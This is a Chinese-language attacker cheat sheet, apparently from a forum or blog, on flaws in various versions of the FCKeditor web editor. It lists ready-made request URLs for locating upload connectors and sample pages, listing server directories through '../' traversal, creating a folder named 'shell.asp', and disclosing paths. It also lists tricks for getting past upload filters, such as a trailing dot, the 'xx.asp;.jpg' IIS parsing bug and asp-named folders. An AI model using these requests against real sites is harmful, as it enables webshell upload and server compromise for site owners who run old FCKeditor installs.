FCK各版本漏洞
FCKeditor/editor/filemanager/connectors/uploadtest.html
--------------------------------------------------------------------------------
7.常用上傳地址 FCKeditor v2.4.3 FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor V2.6.6不能上傳 不能建立 FCKeditor v2.4.3能上傳 能建立 FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php (ver:2.6.3 測試通過) JSP 版: FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp 注意紅色部分修改為FCKeditor 實際使用的指令碼語言,藍色部分可以自定義文 件夾名稱也可以利用../..目錄遍歷,紫色部分為實際網站地址。 ————————————————————————————————————————————————————————————— 8.其他上傳地址 全部存在 FCKeditor/_samples/default.html FCKeditor/_samples/asp/sample01.asp FCKeditor/_samples/asp/sample02.asp FCKeditor/_samples/asp/sample03.asp FCKeditor/_samples/asp/sample04.asp 一般很多站點都已刪除_samples 目錄,可以試試。 FCKeditor V2.6.6(空白) FCKeditor v2.4.3 存在 FCKeditor/editor/fckeditor.html 不可以上傳檔案,可以點選上傳圖片按鈕再選擇瀏覽伺服器即可跳轉至可上傳檔案頁。 ————————————————————————————————————————————————————————————— 9.列目錄漏洞也可助找上傳地址 Version 2.4.1 測試通過 修改CurrentFolder 引數使用 ../../來進入不同的目錄 /browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp 根據返回的XML 資訊可以檢視網站所有的目錄。 FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 也可以直接瀏覽碟符: JSP 版本: FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/ ————————————————————————————————————————————————————————————— 10.爆路徑漏洞 FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp ————————————————————————————————————————————————————————————— 11. FCKeditor 被動限制策略所導致的過濾不嚴問題 影響版本: FCKeditor x.x <= FCKeditor v2.4.3 脆弱描述: FCKeditor v2.4.3 中File 類別預設拒絕上傳型別: html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm Fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 字尾的檔案上傳後它儲存的檔案直接用的$sFilePath = $sServerDir . $sFileName,而沒有使用$sExtension 為字尾.直接導致在win 下在上傳檔案後面加個.來突破[未測試]! 而在apache 下,因為”Apache 檔名解析缺陷漏洞”也可以利用之,另建議其他上傳漏洞中定義TYPE 變數時使用File 類別來上傳檔案,根據FCKeditor 的程式碼,其限制最為狹隘。在上傳時遇見可直接上傳指令碼檔案固然很好,但有些版本可能無法直接上傳可以利用在檔名後面加.點或空格繞過,也可以利用2003 解析漏洞建立xxx.asp資料夾或者上傳xx.asp;.jpg!
——————————————————————————————————————————